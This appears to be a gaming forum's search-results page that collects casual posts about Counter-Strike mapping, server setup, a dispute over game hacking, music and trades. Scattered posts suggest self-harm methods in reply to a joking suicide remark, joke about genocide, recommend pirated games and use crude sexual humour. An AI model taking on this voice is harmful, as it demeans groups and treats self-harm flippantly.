Sprinkles, you have to accept that as far as Rockbomb's concerned the more random internetters have access to his server the worse security is. And I agree - he's invested quite a lot of time and money into it, so not giving that access is not only entirely reasonable but is probably sensible.

For instance, my flatmate has a big PC that can play quite a few recent games, and my other flatmates often ask if they can play Empire: Total War on it for instance. It'd be easier if they knew his password so they could play any time without the other guy being there, OTOH he doesn't want them to know his password. See?

In Help pls lots of problems for making CS 1.5 (CS 1.6nosteam) maps by Runetribe:
Down Rodeo said:
Well,if you've not ever bought Half-Life then it won't play. I'm not sure if you can get nonSteam copies of it any more...


Whats the difference in Steam and non-Steam? And also, i seem to have a few half life files on my computer in the Counter Strike directory. Any idea where i can get a legal copy and how much that would cost me?

Edit: Whoops, sorry for double post

In Help pls lots of problems for making CS 1.5 (CS 1.6nosteam) maps by Runetribe:
Down Rodeo said:
Well,if you've not ever bought Half-Life then it won't play. I'm not sure if you can get nonSteam copies of it any more...


Whats the difference in Steam and non-Steam? And also, i seem to have a few half life files on my computer in the Counter Strike directory. Any idea where i can get a legal copy and how much that would cost me?

In Help pls lots of problems for making CS 1.5 (CS 1.6nosteam) maps by Down Rodeo:
Well,if you've not ever bought Half-Life then it won't play. I'm not sure if you can get nonSteam copies of it any more...

In Help pls lots of problems for making CS 1.5 (CS 1.6nosteam) maps by Down Rodeo:
Oh - Half-Life is... in fact, I reckon if you Google it, you'll find it. It's quite famous and is the game whose engine CounterStrike is based on. But you play PC games and haven't heard of Half-Life? It came out in like 1998...

In Help pls lots of problems for making CS 1.5 (CS 1.6nosteam) maps by SRAW:
Runetribe said:

sprinkles said:
penis

???


Never hunger
Never prosper
I have fallen prey to failure

Struggle within
Triggered again
Now the candle burns at both ends

Twisting under schizophrenia
Falling deep into dementia

Old habits reappear
Fighting the fear of fear
Growing conspiracy
Everyone's after me
Frayed ends of sanity
Hear them calling
Hear them calling me

Birth of terror
Death of much more
I'm the slave of fear, my captor

Never warnings
Spreading its wings
As I wait for the horror she brings

Loss of interest, question, wonder
Waves of fear, they pull me under

Old habits reappear
Fighting the fear of fear
Growing conspiracy
Everyone's after me
Frayed ends of sanity
Hear them calling
Hear them calling me

Into ruin
I am sinking
Hostage of a nameless feeling

Hell is set free
Flooded I'll be
Feel the undertow inside me

Height, hell, time, haste, terror, tension
Life, death, want, waste, mass depression

Old habits reappear
Fighting the fear with fear
Growing conspiracy
Myself is after me
Frayed ends of sanity
Hear them calling
Frayed ends of sanity
Hear them calling
Hear them calling me


Damn those fuckers really need to play this song live, along with fixxxer and where the wild things are.

In Anyone know how to make a map that no can join it by Runetribe:
Very simple sollution:

Open the server with the crasher, your game will crash before anybody can join.

Open the server without the crasher, anybody connecting will get the map without the crasher and they can play it.

If you dont want anybody to join, just disable your wireless adapter and unplug any connection cables.

Right?

In Help pls lots of problems for making CS 1.5 (CS 1.6nosteam) maps by Runetribe:
OK be prepared cuz this is alot of problems:

1: Does Cstrike have things like driveable cars and turrets?
2: How do i make water that is transparent, and where you can swim and drown in? Where can i find textures to this/which do i use?
3: How do i add background sounds to my map?
4: how do i make a map edge that has sky on top, and water on the bottom, like in as_oilrig? And how do i make an edge where you fall off, then die after a certain point?
5: How do i make a moving, button activated elevator?

And finally the thing i really need answered, its blocking me from making any maps but the most simple.

I made a map, called it de_bricks.
Bots take the central, obvious way always, but this usually leads to a confrontation in a central chamber without the bomb ever getting planted. So i made a hall from the side of both spawns, that leads to site A. A is connected by a ladder to B, which is right above this. Yet i cannot get bots in any way to take either the ladder or the extra hallways. I know this has probably something to do with waypointing, but only sollution i find is for Source. Again, i have Counter strike 1.6 No Steam, i think this is Counter Strike 1.5. I learned mapping using this tutorial: http://www.superjer.com/learn.php


Also, just a small problem: I start and play counter strike 1.6 no steam. It has a button that says 'change game'. I can switch to half-life, but i can't start any game or so. It just refuses to do anything no matter how many times i click the button, or the game just crashes. No error log, no computer crash, just game quit. Any sollutions/reasons to this?

In LUCKY FUN TIME by SuperJer:
Good stuff. Kind of frustrating when I accidentally get the good door first and miss the death scenes.

I just need to see the hero die as many ways as possible.

I got the women's and dork's corner ending so far. Got to play again to get the men's ending I guess.

And seriously Molkers, where do you come up with these messed up names? "Lucky Tower" ???


In windoes media player by Rockbomb:
Well, I guess it depends on each individual speaker. My vaio speakers (came with an old desktop of mine) will start sounding distorted at about half volume with mp3s, where as with flac I can easily go 3/4 volume with no distortion (and I've never gone further than that, as I don't want to blow my speakers).

Also I've got a bose surround sound system that I'll use when I really wanna jam out, and I won't even play mp3's on there cuz of the difference in quality.

In The M-I-N-E-C-R-A-F-T Truck by SuperJer:
The point is to have fun. It doesn't really get more specific than that.

If you want to increment numbers play something else.

So, I was flailing around in the ocean southwest of the spawn, I look down and:

The sand had collapsed into the dungeon and all the zombies were up against the wall trying to stay out of the water.

Then about 20 meters north was another one which had completely collapsed. No living monsters. Now I have lots of gunpowder.

In The M-I-N-E-C-R-A-F-T Truck by the_cloud_system:
aaronjer said:
You have to buy the game to play it period.


well fuck

In tok tocke tocke tok tok by buq25:
Rockbomb said:
Its just a good song man, really catchy. I only wish it was longer so I don't have to keep pressing play so many times.


If you're serious, it's possible to loop youtube videos...

In tok tocke tocke tok tok by Rockbomb:
buq25 said:
She really handles the cock well, a while into the video.

Yeah, she strokes that cock real good.

@KD - Its just a good song man, really catchy. I only wish it was longer so I don't have to keep pressing play so many times.

In The M-I-N-E-C-R-A-F-T Truck by aaronjer:
You have to buy the game to play it period.

In The M-I-N-E-C-R-A-F-T Truck by molkman:
Do I have to buy the game to play on specific servers that are not listed on the site? Or where do I enter the server adress?

In windoes media player by Down Rodeo:
vlc's pretty awesome if you want to play everything.

In Catchy by Rockbomb:
Down Rodeo said:
I tried to listen to it but it wouldn't let me :(

For whatever reason it pauses at like 1 second. You gotta either hit play again or just let it sit til the timer runs out and then it'll play.

In Sound by leif:
I want to add some custom sounds to my map.

How do I make a sound play every time I open a door?
I have like 4 doors, but I'll use the same sound for every door, but I want the sound to come from the door, like the noisy door on de_nuke.

I have one Armor on my map and I want to play a sound from that place when the player picks the armor up. It is just one armor there so I want the sound only to come once when a player takes the armor. So the sound is not playing more that round if a player walks over the spot and someone else have allready taken the armor.




In DDO by phoenix_r:
Tell me all about it, AtoJamz. What server do you play on? What do I do to give you magic buddy referral points? Do you love me? *Can* you love me?

In Install php by SuperJer:
For the record, you should only need to...

code
apt-get install apache2 php5 libapache2-mod-php5


...to get PHP and Apache and have them play nice together.

And you shouldn't have to do anything at all if you chose "LAMP server" (or something similar) when you installed the OS.

In h4x by NatureJay:
Down Rodeo said:
NatureJay said:
Rockbomb said:
aaronjer said:
How is that evidence?

You mean, how is me playing without hacks evidence that I don't play without hacks?

THE ABSENCE OF EVIDENCE IS NOT THE EVIDENCE OF ABSENCE

You sound like my mother.

Your mom is Gin Rummy?

(I was making a Boondocks reference )

This whole thing could have really been cut short a while ago. While I know aaronjer well enough to believe that when he says "I will never believe you don't use hacks", he is serious, I think the bottom line is that there are ways of broadening your programming knowledge/experience that don't really involve enabling others to be douches, or tacitly accepting those that do the same.

In h4x by Down Rodeo:
NatureJay said:
Rockbomb said:
aaronjer said:
How is that evidence?

You mean, how is me playing without hacks evidence that I don't play without hacks?

THE ABSENCE OF EVIDENCE IS NOT THE EVIDENCE OF ABSENCE

You sound like my mother.

AJ, I meant from a pure logic stance your conclusion does not flow from the axioms, or initial statements. Whatever you want to call them.

And you're right, I rarely come up against hackers. Virtually my only experience with them is from CS:S, and I don't play that any more. It's not good for my health, I think.

In h4x by aaronjer:
Not me!

I don't think this even qualifies as an internet argument. It's just everyone yelling "QUIT BELIEVING HE'S A HACKER" and then me going "NUH-UH!" but with more words.

As I said at the beginning, nothing will ever convince me he doesn't hack. And even if something did it wouldn't make any difference for the same reason I've repeated too much to say again here. In the end, I don't play any games with him anyway, so it doesn't really matter very much, does it?

In h4x by NatureJay:
Rockbomb said:
aaronjer said:
How is that evidence?

You mean, how is me playing without hacks evidence that I don't play without hacks?

THE ABSENCE OF EVIDENCE IS NOT THE EVIDENCE OF ABSENCE

In h4x by Rockbomb:
aaronjer said:
How is that evidence?

You mean, how is me playing without hacks evidence that I don't play with hacks?

In h4x by sprinkles:
aaronjer said:
Maybe you don't play enough games to run into hackers and have them ruin all the fun, but I do. I can't forgive something like that.


I concur. There is nothing more annoying than someone with a speedhack, and no admins online. :S

In h4x by aaronjer:
Uh... DR... um... seriously. He's interested in hacks, wants to make hacks, claims he won't use the hacks he's going to spend a massive amount of time making (which is UNBELIEVABLY unlikely), and in general has no problem with hackers. He also fully understands he'll be causing more hacking and he doesn't care.

With THIS information you believe he DOESN'T hack?

WHY?!

Not to mention that THIS:

Rockbomb said:
(yes I do realize that this means more people will know how to make hacks... but I don't care <3)


Makes him worse than someone who just uses hacks by a very wide margin. Maybe you don't play enough games to run into hackers and have them ruin all the fun, but I do. I can't forgive something like that.

Mello is awesome.

In h4x by Link:
aaronjer said:
Rockbomb said:
C'mon... honestly I'm not offended that you banned me, but please change my status... I do not cheat at video games.


I'm not ever going to believe you don't hack. No rational person would ever believe you don't hack. Whoever gave you that title apparently is also rational.

aaronjer said:
Given that the only rule on this forum is don't piss off the admins it should be easy to avoid getting summarily banned. Hacks and child porn are pretty much the only thing that will piss us off. It's really easy to avoid pissing us off.


You had 29 hours to stop talking about hacks and thereby avoid pissing off the admins. You even posted a link to hacking related material (which I probably should have banned you for on the spot). Seriously. Just shut the fuck up about hacks. Do not post things about hacks other than that you hate them. Also do not post pictures of a 9-year old boy having sex with a dog on top of a Lamborghini. That would also get you banned.

Well, I wasn't planning on using this alt account to post, since I know it will just piss you off more, but I'm banned already anyway so what hell, might as well use it to throw my opinion out there...

As for your comment on nobody believing that I don't hack, why don't you ask around a little before making a comment like that. I play cs with Sprinkles and Havok on a regular basis on AOG's servers, and I've played with a few other members on here at Sprinkle's beta testings... they can all attest that I don't use any hacks.


And, as for my continuation of talking about hacks, you continued talking about them as well, and I was merely responding to your(and other's) posts... if you wanted the conversation to end, why did you carry it on?
And the link I posted? Did you even look at it? It was about how aimbots use trigonometry and other math skills to calculate where other players are in location to yourself. Yes, its about hacking, but it was actually very interesting and was not anything anybody could just download and use, or even really promote the use of any hacks.


So, I'm guessing this account will be promptly banned as well, but seriously... please change my title. At least ask around to the people who have played with me (or hell, why not play with me yourself?).

In h4x by buq25:
Rockbomb said:
The murderers are going to get their weapons regardless of weather they are being given away for free or not. But, by your logic you don't trust anyone that works at say, Ruger? Yet, you don't even know them, and just assume that because they make guns that they are in favor of people being killed.


Well, I could sit here and argue/create metaphors about weapons all day, but in the end it isn't gonna change anything. I'm still the same person I was before I mentioned making hacks, its not like all off a sudden I decided to completely change my morals.


Well at weapon stores like Ruger (never heard of, so if it's not a weapon store, I'm dumb) the customer has to have a weapon license (Well, atleast in Sweden). If you give them out free and stuff to people who wants them, they might not be worthy it. Compared to the other weapons being given out the same way might actually kill the user (virus).

Okay, lets skip the weapon methaphores then. You might still be the same guy but we see a difference, like if AJ suddently got boring and didn't stop being like that, you would comment on it. You might not like AJ anymore because he suddently just changed something. This website doesn't have that many hackers (I presume and hope) and to find out your one kinda changes our minds about you. And more, have to play some now. Textey hurts my fingers!

In h4x by aaronjer:
Given that the only rule on this forum is don't piss off the admins it should be easy to avoid getting summarily banned. Hacks and child porn are pretty much the only thing that will piss us off. It's really easy to avoid pissing us off. You've already permanently destroyed your reputation around here, there's no need to get yourself banned by continuing to act like hacks are in ANY way acceptable to have anything to do with.

I'm surprised you wouldn't already know that most people will NEVER PLAY GAMES WITH YOU AGAIN if they believe you are a hacker. You are obviously a hacker, or you wouldn't be talking about this, so it really is amazing you wouldn't know not to talk about it.

In i cum when i listen to this song by aaronjer:
I don't actually think about who would or wouldn't like a song when I listen to it. That seems totally alien to me. If I'm playing a game I'll think about who might like it so I can play it with them. Listening to music isn't something that requires more than one person.


the_cloud_system said:
EDIT: with that sead i mean, if you throw shit to hungerey dogs they will eat it, no mater what, they will scrutinize it. but label it off as "new pop" sell it off and blow it up as "rebel music"


its a sad generation we live in...


I go back to what I just said about how well music is received by the target audience.

Analyzing music any further about originality, repetitiveness or how it holds up with music theory falls under the field of being a pretentious douche.

In Superjer! by sprinkles:
Ight, in your music player (HTML5) when you open that shit with IE it streams from Windows Media Player. Howdya do that shit? I've been having problems jus' getting Firefox to play that shit.

In Ight Niggas by the_cloud_system:
ill play sometime, then

In BUM BAR SHÜT by aaronjer:
He doesn't play HoN. And I meant the sex.

In BUM BAR SHÜT by SRAW:
Then play hon 1v1 with him you stupid shit

In BUM BAR SHÜT by SRAW:
Why don't you ask your brother to play with you? I'm sure you guys would have a great time I mean like you know... playing with each other... indecent stuff...

In BUM BAR SHÜT by aaronjer:
I don't play only one game at a time. Regardless, I haven't been playing HoN. The only reason I haven't been playing it is because everyone I know suddenly stopped playing it. I was all WTF. I'm playing SC2 with totally different people than I played HoN with, as all the HoN people have mysteriously vanished.

For serious though? I want to play DDO more than anything. I just can't get anyone to play it with me, and playing an MMO alone (action RPGish as it is) doesn't sit well with me. I can barely get anyone to even give it a chance... even though it's fucking free...

In BUM BAR SHÜT by aaronjer:
If you don't play Starcraft 2 you may find yourself mostly ignored.

In COUNTAR STRIEK SERVAR by Rockbomb:
superjer said:
Why would you want all of the trouble of Steam and none of the benefits?

Well, everyone I play with plays 1.6, I don't wanna make them all get 1.5 just so they can play on a server that probably won't have many people in it

I think I got the protocol thing figured out. After letting the server run for a while it eventually popped up with an error saying that it couldn't run cboost (which patches it to 47/48) because metamod was outdated.

Now my problem is, I downloaded the latest version of metamod and I can't get it to work. So once I figure out how to get this newest metamod working, everything should run fine

In BREAKING NEWS by Jake?!:
To me, this seems more like a move designed to force some of the other teams hands during the off-season. While Earthquake definitely has an impact on the field still, his overall numbers have been declining. As I recall, the last time Red did something like this it was to hide a quiet little liquid acquistion of Jeremy "Hornswoggle" Gyrman. We'll see how it play out though.

In Counter Strike 1.6 Server on Debian by buq25:
Yay! I won stuff for a game that I don't play with stuff that I don't really care about.

I just posted those links since they were all written by me and they seem like they work, while I slowly hack into it!
...Yeah, that the reason.

The real reason has nothing to do with legal rape or violent lesbian sex...

Well, give RB 2 admins? Craep.

In 3 ways in which I'm not Aaronjer by the_cloud_system:
Jake?! said:
4)You are better than him at Draw My Thing




i play that game...

In 3 ways in which I'm not Aaronjer by Kelli:
1) Our beards are not the same length.

2) I play Civilization IV like I mean it.

3)

In Schpida! He is our hero! by Jake?!:
aaronjer said:
Can you play a politically incorrect, racially insensitive portrayal of a good-for-nothing Mexican? You don't have to speak much Spanish. Link does most of that.


I suppose... unless Garyjer suddenly returns, in which case I would bow to the superior talent for the role

In Schpida! He is our hero! by aaronjer:
Can you play a politically incorrect, racially insensitive portrayal of a good-for-nothing Mexican? You don't have to speak much Spanish. Link does most of that.

In You guys HAVE to try this out by Mate de Vita:
Down Rodeo said:
But 20q does *everything*. Not just 'slebs. And no information is put into 20q, all you need to do is play and if there's something that is wrong it will gradually be changed by your answers. Neural networks are awesome.

True, it's more awesomer.

In You guys HAVE to try this out by Down Rodeo:
But 20q does *everything*. Not just 'slebs. And no information is put into 20q, all you need to do is play and if there's something that is wrong it will gradually be changed by your answers. Neural networks are awesome.

In Map won't load by Wasabi_Jr:
Down Rodeo said:
No idea - if something's wrong with a cracked version, there's really not a whole lot that can be done, AFAIK. Can you not just use your version in work by signing onto Steam there?


Steam is blocked at work, we play on an internal LAN(10-12 guys)

As far as the error, it gives me a 'The Instruction at 0x####### referenced memory at 0x#######. The memory could not be 'read'

In Map won't load by Wasabi_Jr:
So I'm running Steam CS:S (most recent version) at home currently, but on my work PC (we play @ lunch) we're running a cracked copy that isn't near the most recent update.

My map runs fine @ home on my PC, but when I brought it to work to test it out I get an hl2.exe application error, crashing me back to desktop. Other maps run fine when I try and create a server.

Is there some type of 'backwards compatibility' compiling that can be done?

Thanks,

Mike

In Beta Party [Tonight!] by SRAW:
Additional pylons required

Not for me though cause I never play protoss

and could you post the time? cause I'm not sure what tonight translates for me

In Beta Party [Tonight!] by the_cloud_system:
jrkookid said:
You should make a hospital like cloudy said but we should play zombies or something. I just realized that sprinkles' title is gone.


naked zombie female nurses????

In Beta Party [Tonight!] by jrkookid:
You should make a hospital like cloudy said but we should play zombies or something. I just realized that sprinkles' title is gone.

In This or That? by Rockbomb:
the_cloud_system said:
i dont know how to play im sorrey, now im going to kill my self...

Razorblade, or overdose on painkillers?

In This or That? by the_cloud_system:
i dont know how to play im sorrey, now im going to kill my self...

In sound by sprinkles:
Ight let me get you this.

There are many advanced ways to do this, but let me get you the basics.

You need to make a func_button somewhere, we will come back to this later. Next you need to place a point entity of the type ambient_generic somewhere.

Now lets move onto the sound. It has to be less than about 3 minutes. In a very specific format:
11025 Hz
mono (1 channel)
8 bit pcm
Wav format
Now, make a folder in your cstrike/sound/ directory, usually the name of your map.

Back to your entities. Go to your ambient_generic. Set the path/filename to whatever folder you put your music in. That is anything after the cstrike/sound/ directory. Lets say you put the sound in cstrike/sound/myUncleBob/trigger.wav. What you would put in your entity is myUncleBob/trigger.wav. Now set the flags "play everywhere," "start silent." name your ambient_generic something useful. Say you want it to play a trigger sound, name it soundTrigger or something. Go to your func_button, make the target soundTrigger (or whatever you named the ambient_generic).

In This or That? by Jeff Spicoli:
Hopefully you know how to play.

Cake or Pie?

In is html a dead language? by SRAW:
superjer said:
I don't know what the fuck SRAW is trying to say.


... it's ok, let's play vegetable game!
http://www.kongregate.com/games/TerryCavanagh_B/vegetable-game
warning, do not play vegetable game


In Problem compiling by Slipsy:
I'm using the ZHLT compiler with the .bat as in the site's guide, VHE's is freezing Valve Hammer.

Anyway, I think I fixed the previous ".WAD" error, this is what you do, move the .WADs to the same drive as the one the compiler is on, it should fix it.

Thing is, the compiler is still giving me the "The system cannot find the file specified". This is the problem I'm having trouble with, anyone have any solution to this problem? I'm in desperate need to play my map... I even made a new one, still the same problem, seems the problem is from the compiler or my computer.

Damn it.

In 31 maps in 31 days? by SRAW:
You should make a trench warfare style map, and play it with csdm and have artillery and machine guns, or a beach landing map

In Ok Final Trade Truck by the_cloud_system:
im not gona bust balls hear

but you can do what sprinkels does and play it pirated.

you can get 25$ after 6 months doing shit surveys.
http://www.surveyhead.com/index.php

you can rob a old ladey


edit: i would trade you but my comp shits out with games that have better graphics, sorry man

In NEW GAME AGAIN! Ebul! by aaronjer:
I don't think I'd be a good judge of deciding whether your puzzles were good or not, since I just don't really play simple games... but, it was a very neat idea. It got a little tedious at times, when all you were doing was moving a pair of blue blocks to get somewhere.

In SUCK IT ROCKBOMB by SRAW:
I don't play audiosurf, I play a real guitar man! REAL REAL REAL REAL REAL REAL REAL

and anyone know some good strategy games for ds? I wanna play them on an emulator

In I'll just leave this queer... by aaronjer:
You tried to watch it more than once? I didn't even watch it at all. The guy trying to look like a chick wasn't enough to keep you from hitting play?

In Sorry, but its Epic! by the_cloud_system:
you cant play cs and i was hoping we all could play some day

In achievements by SuperJer:
aaronjer said:
Eh, I did all the expert badassness in L4D but I never really got around to it in L4D2. None of my friends will play anything but versus. I did manage to beat most of The Parish on expert realism on my own though. Just... couldn't quite beat the last level...


I still like co-op better than versus. Versus is more ha-ha fun and campaign is more holy-shit fun.

In achievements by NatureJay:
I'll play not-versus, I'm just not any good and also don't have the time.

In achievements by aaronjer:
Eh, I did all the expert badassness in L4D but I never really got around to it in L4D2. None of my friends will play anything but versus. I did manage to beat most of The Parish on expert realism on my own though. Just... couldn't quite beat the last level...

In achievements by aaronjer:
I play that game all the damn time. And I have achievements... that I didn't fucking cheat to acquire! Although I got 1 or 2 because the game went insane, but I can't really help that.

If you've never charged somebody as a spitter, pounded them into the ground while lying flat across them, and spit all over them while mysteriously doing no damage at all... and then gotten the charger 15 second pound achievement... then... uh... your game is probably functioning correctly, unlike mine.

In achievements by Down Rodeo:
If you'd bought it for the PC, you could have played with us (that's me and whoever else I play with)! You know, time differences and the horrifying ping aside.

In Looking at new guitar by phoenix_r:
Oh yeah, well, I play a video game THAT YOU CAN NEVER WIN.

In Looking at new guitar by buq25:
aaronjer said:
You fool! Switch to HoN!

HoN is too scary, I play LoL...
And in general, this must be the best truck for a while now, you didn't go off topic, you changed it. From guitars to Sr, cough, being a troll.

In Looking at new guitar by SolidKAYOS:
SRAW said:
I suggest you get one of those guitar hero controllers.

But on a more serious note, why the hell would you play guitar hero? They have drums which are acceptable since they're realistic, but playing guitar on guitar hero is plain n00bish

You know..i never really felt offended by the word "noob" until i met you. The only real noobs is people who call others noobs constantly.

In Looking at new guitar by SRAW:
I suggest you get one of those guitar hero controllers.

But on a more serious note, why the hell would you play guitar hero? They have drums which are acceptable since they're realistic, but playing guitar on guitar hero is plain n00bish

In Sorry, but its Epic! by Rockbomb:
sprinkles said:
Rockbomb said:
sprinkles said:
Rockbomb said:
jrkookid said:
Ima play on one of these AoG servers

I'd go on and play with you, but i'm currently too addicted to dragon age.


Mushroomz asked about you the other day.

Why? I don't even know him...


Well, it is your call, so call it.

Whats his number?

In Sorry, but its Epic! by sprinkles:
Rockbomb said:
sprinkles said:
Rockbomb said:
jrkookid said:
Ima play on one of these AoG servers

I'd go on and play with you, but i'm currently too addicted to dragon age.


Mushroomz asked about you the other day.

Why? I don't even know him...


Well, it is your call, so call it.

In Sorry, but its Epic! by Rockbomb:
sprinkles said:
Rockbomb said:
jrkookid said:
Ima play on one of these AoG servers

I'd go on and play with you, but i'm currently too addicted to dragon age.


Mushroomz asked about you the other day.

Why? I don't even know him...

In Sorry, but its Epic! by sprinkles:
Rockbomb said:
jrkookid said:
Ima play on one of these AoG servers

I'd go on and play with you, but i'm currently too addicted to dragon age.


Mushroomz asked about you the other day.

In Sorry, but its Epic! by Rockbomb:
jrkookid said:
Ima play on one of these AoG servers

I'd go on and play with you, but i'm currently too addicted to dragon age.

In Sorry, but its Epic! by jrkookid:
Ima play on one of these AoG servers

In Go get Voobly! by the_cloud_system:
i have slow ass internet, i would play but, THE PING!


its a good 5 sec lag

In i got games :D by Down Rodeo:
What Aaronjer's saying is that because you are playing on a console your game is significantly crippled. I have no sources on this; I played Fallout 3 very briefly on my computer and have seen my flatmates play it lots on the Xbox. To me it looks pretty much the same but honestly I wouldn't know :)
One disadvantage that is definite and for sure is the is lack of RAM. What is it on the PS3? 256 graphics and 256 RAM? Or is it twice that for each? It's ridiculous, given how cheap memory is nowadays.

Also, mods. Seriously missing out there.

In lols! by SRAW:
sprinkles said:
<NHBoy> I broke my G-string while fingering a minor :(
<rycool> ...
<NHBoy> I was trying to play Knocking on Heaven's Door.
<NHBoy> Oh well, time to buy new strings.


GnR sucks, And incase anyone is wondering why the 5th fret for all the strings on the guitar equal the next string, except the g and b strings, it's because gb is george bush! Conspiracy?

In lols! by sprinkles:
<NHBoy> I broke my G-string while fingering a minor :(
<rycool> ...
<NHBoy> I was trying to play Knocking on Heaven's Door.
<NHBoy> Oh well, time to buy new strings.

In Alien Swarm by Jake?!:
IF you see me on, I'd play DR :)


In Alien Swarm by buq25:
Down Rodeo said:
It is rather. We did a hard run tonight :) it ended up with one guy running to the Bloodhound, Aliens... well... swarming around him. Good times. If you like, I can try to help with your errors, because I've spent quite a while around Source. And it's quite stable :)

Connection issues will either be: your firewall, not allowing the game in/out. This probably isn't your problem on Windows 7. It could be because the person's internet you're playing on is quite slow, in which case, there's not a huge amount you can do. It could be that their firewall is blocking Alien Swurm (yes Swurm) so you can ask them to fix that... Dunno what else. Some of my friends and I might rent a server, it's so much better when you don't have a half-second lag going down :p

Tell you what, if you can find my Steam name on this site, and can put up with HORRIFIC connections because you're a few thousand miles away, we'll play with you. Probably not worth it for you, eh? :p


"for example mine would (maybe) be like 'C:\Program Files\Steam\Steamapps\Down Rodeo\cstrike\maps'" is the closest thing I found.

AHA! GOTCHA: Killatron40k!

And... probably not anyways, because of the rest you wrote.
Superjer didn't answer to a question more than 2 years ago. Why he has 4 accounts...

Well, if you could fix my errors(or help me fix my errors), I'd be so freaking happey dude! It was probably the server I was trying to connect to that was lagging but still.

Still want me to add you to friends list?

In Alien Swarm by Down Rodeo:
It is rather. We did a hard run tonight :) it ended up with one guy running to the Bloodhound, Aliens... well... swarming around him. Good times. If you like, I can try to help with your errors, because I've spent quite a while around Source. And it's quite stable :)

Connection issues will either be: your firewall, not allowing the game in/out. This probably isn't your problem on Windows 7. It could be because the person's internet you're playing on is quite slow, in which case, there's not a huge amount you can do. It could be that their firewall is blocking Alien Swurm (yes Swurm) so you can ask them to fix that... Dunno what else. Some of my friends and I might rent a server, it's so much better when you don't have a half-second lag going down :p

Tell you what, if you can find my Steam name on this site, and can put up with HORRIFIC connections because you're a few thousand miles away, we'll play with you. Probably not worth it for you, eh? :p

In i got games :D by Down Rodeo:
the_cloud_system said:
its i got it for ps3 and not enough slomo time to kill em unless i get strate headshots with a shotgun

Which is really what you should be doing. Of course the problem is you're using a controller, so headshots are a little rarer, I think ;)

buq: I didn't actually play, I watched my flatmate play through it. I can't remember how many he managed; there was one bastard of a room though where he took multiple attempts and eventually beasted it in slo-mo I think. It was quite harsh for the man nearest the door - every time he reloaded, BANG! Headshot with the HV Penetrator. But I can't remember how many he took out. D'you know, it always annoyed me that the first guy you shot took lots of damage, but as soon as he died, all his friends knew you were there SO TOOK LESS DAMAGE. That doesn't make sense, Monolith!

In Alien Swarm by buq25:
Down Rodeo said:
The main problem is that there are no, or at least very few dedicated servers, so you end up with a bunch of people local hosting, and that's bad times.


...
My computer hates me. That's the main problem for me. I really wanted to play it so I downloaded it with some friends. Then it began!

I tried to run it. My desktops changed for 2 seconds then back, then AS chrashed, without any error. Try multiple times, not working. I googled it and it said I should try to delete a folder in the installation. I did, had to redownload the entire game in steam. It said that some files were missing, well no shit, I removed them.

I reinstalled and thought it might be the same problem I had with Killing Floor, so I made my extra screen useless (still plugged it but all black and not doing anything) and that the problem was because I had dual screens. I started it and got an error. That's atleast easier to google. I restarted my extra screen and got to a steam support site and did the 2 things it told me too, tried again, nothing. Shut down my extra screen again, same problem. Googled some more. nothing.

I shut down my main screen with my extra screen running, was able to start it. Wasn't able to play practise (wanted to learn the controls, after release and such) and it crashed. Was invited to a game by my friend, the server was annoying for my computer to connect to so I got the "25(countdown) seconds left before auto disconnection" for 3 seconds every 30 seconds play time.

I played with a bunch of people who had never played the game before who weren't aware of friendly fire and didn't know how little ammo you have.

...
Lovely game when it works, though.

In i got games :D by SolidKAYOS:
Rockbomb said:
I just got dragon age: origins, and holy shit its awesome... I highly recommend it if you want a game to kill some time.

Oh yes. Very epic game. I'd like to play it again actually...but theres other stuff i want..i really want to get back into Final fantasy XI seeing as how Microsoft isnt ganna let them develop a final fantasy XIV for the 360..pricks..

the_cloud_system said:
the orignal final fantasey for psp
fear 2 for ps3
and fall out 3 for ps3

i wanted a portable game for me that would last a long time


Well I only have Dissidia Final fantasy for psp and jigsaws crisis core ffvii.

In lols! by sprinkles:
<Night-hen-gayle> I gotta go. There's a dude next to me and he's watching me type, which is sort of starting to creep me out. Yes dude next to me, I mean you.

bloodninja: Baby, I been havin a tough night so treat me nice aight?
BritneySpears14: Aight.
bloodninja: Slip out of those pants baby, yeah.
BritneySpears14: I slip out of my pants, just for you, bloodninja.
bloodninja: Oh yeah, aight. Aight, I put on my robe and wizard hat.
BritneySpears14: Oh, I like to play dress up.
bloodninja: Me too baby.
BritneySpears14: I kiss you softly on your chest.
bloodninja: I cast Lvl. 3 Eroticism. You turn into a real beautiful woman.
BritneySpears14: Hey...
bloodninja: I meditate to regain my mana, before casting Lvl. 8 chicken of the Infinite.
BritneySpears14: Funny I still don't see it.
bloodninja: I spend my mana reserves to cast Mighty F*ck of the Beyondness.
BritneySpears14: You are the worst cyber partner ever. This is ridiculous.
bloodninja: Don't f*ck with me bitch, I'm the mightiest sorcerer of the lands.
bloodninja: I steal yo soul and cast Lightning Lvl. 1,000,000 Your body explodes into a fine bloody mist, because you are only a Lvl. 2 Druid.
BritneySpears14: Don't ever message me again you piece of ****.
bloodninja: Robots are trying to drill my brain but my lightning shield inflicts DOA attack, leaving the robots as flaming piles of metal.
bloodninja: King Arthur congratulates me for destroying Dr. Robotnik's evil army of Robot Socialist Republics. The cold war ends. Reagan steals my accomplishments and makes like it was cause of him.
bloodninja: You still there baby? I think it's getting hard now.
bloodninja: Baby?
--------------
BritneySpears14: Ok, are you ready?
eminemBNJA: Aight, yeah I'm ready.
BritneySpears14: I like your music Em... Tee hee.
eminemBNJA: huh huh, yeah, I make it for the ladies.
BritneySpears14: Mmm, we like it a lot. Let me show you.
BritneySpears14: I take off your pants, slowly, and massage your muscular physique.
eminemBNJA: Oh I like that Baby. I put on my robe and wizard hat.
BritneySpears14: What the f*ck, I told you not to message me again.
eminemBNJA: Oh ****
BritneySpears14: I swear if you do it one more time I'm gonna report your ISP and say you were sending me kiddie porn you f*ck up.
eminemBNJA: Oh ****
eminemBNJA: damn I gotta write down your names or something

<Th3No0b> Im going to be the next hitler
<Th3No0b> Im going to kill all the jews and 1 clown
<RageAgainsttheAmish> why the clown
<Th3No0b> See? no one cares about the jews
<RageAgainsttheAmish> lmao

<jeebus> the "bishop" came to our church today
<jeebus> he was a fucken impostor
<jeebus> never once moved diagonally

<Eticam> I was in biology class once, and the teacher said there was sugar in sperm
<Eticam> And a girl asked why doesn't it taste sweet then
<Eticam> When she realised what she said her face became red like a spanked monkey ass
<Eticam> Then the teacher said, because you taste sweetness with the front of your tongue, not the part of your tongue back in your throat
<Eticam> The girl started crying and left class ^^

In TRADE WITH ME PLEASE by fedex _:
SRAW said:
I'm willing to trade a bf1942(only game I actually have a legit key) legit cd key (banned on moongamers for calling the admin a fucker) for anything



i have that game , just never play it

In Best Super Nintendo games? by Jake?!:
I wanna play more drew your thing two!

In Best Super Nintendo games? by aaronjer:
